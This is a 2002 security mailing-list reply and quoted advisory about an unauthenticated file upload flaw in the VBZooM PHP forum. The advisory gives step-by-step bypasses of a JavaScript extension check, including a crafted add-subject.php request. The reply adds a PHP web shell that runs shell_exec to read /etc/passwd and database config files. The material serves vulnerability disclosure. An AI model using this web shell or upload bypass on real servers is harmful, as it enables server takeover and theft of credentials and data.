Re: upload malicious file in VBZooM forums

From: M. Zeeshan Mustafa (zoloat_private)
Date: Wed Oct 09 2002 - 12:34:22 PDT

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    A damage could be alot more than assessed by hish in his last email, and not just
    infecting the visitors of the forum, but a critical server risk.
    
    For instance if an attacker makes a perl/php script of malicious code,
    he could takeover the server with httpd-user id.
    
    An attacker could create file with similar code below, and will upload
    it with the extention .php ...
    
    <?php
    $cmd = "cat /etc/passwd"; // or
    $cmd = "cat ".dirname($_SERVER['PATH_TRANSLATED'])."/path.to.database.headers"; // or
    $cmd ="echo \"This is an example \">".dirname($_SERVER['PATH_TRANSLATED'])."/hacked";
    $h = shell_exec($cmd);
    echo $h;
    ?>
    
    ...and then he will call the url from his browser to execute the script...
    
    http://host/forums/>
    
    the said $cmd will execute.
    
    Regards,
    -- 
    M. Zeeshan Mustafa
    Software Security Specialist & Architect
    E: securityat_private
    C: +92(0)300-9249567
    W: http://www.zeeshan.net
    
    On Wednesday 09 October 2002 09:21 pm, hish _ hish wrote:
    ::::: Name:    VBZooM
    ::::: Version Affected:  tested on v1.01 maybe other version vulnerable also
    ::::: Severity:  Critical
    ::::: Category: upload system
    ::::: Vendor URL:   http://www.vbzoom.com
    ::::: Author:   hish_hish <hish_hish565at_private>
    ::::: Date:  discloused on 28th Aug 2002
    :::::            published at 8th oct 2002
    ::::: 
    ::::: Description
    ::::: ***********
    ::::: VBZooM is bulletin board system which written in php,
    ::::: the problem lay on file upload system, the script uses JavaScript to check 
    ::::: for valid extinsions.
    ::::: and you can bypass this check in two ways (see Details).
    :::::  
    :::::  
    ::::: Details
    ::::: *******
    ::::: there are two ways to bypass the JavaScript file extinsion check,
    ::::: 
    ::::: 1st :
    :::::  you should be a member in the victim script,
    :::::  and go to make new subject, now save the page in your hard drive
    :::::  and remove the JavaScript code    // at the last of the page
    :::::  and make some changes in <form action="add-subject.php ......>
    :::::  to <form action="http://victim/VBZoom/add-subject.php ....>
    :::::  now select your malicious file to upload it (should be .php)
    :::::  OK now hit submit bottom , the forum will redirect you to your subject
    :::::  douh :) your file waiting you as attachment :)
    ::::: NOTE : all visitor can see and use your uploaded file , so forget the 1st 
    ::::: way and see 2nd: .
    :::::  
    ::::: 2nd:
    ::::: 
    :::::  you dont need to be a member in victim forum , just follow me :) .
    :::::  http://www.victim.com/VBZooM/add-subject.php?Success=1
    :::::  &FileName=SourceFile&FileName_size=500&FileName_name=DistFile
    :::::  it will upload your file in "/download" directory.
    :::::  now execute your .php file  
    ::::: http://www.victim.com/VBZooM/download/DistFile  :))
    :::::  
    ::::: 
    ::::: Fix Information
    ::::: ***************
    ::::: contact http://www.vbzoom.com
    ::::: 
    ::::: 
    ::::: 
    



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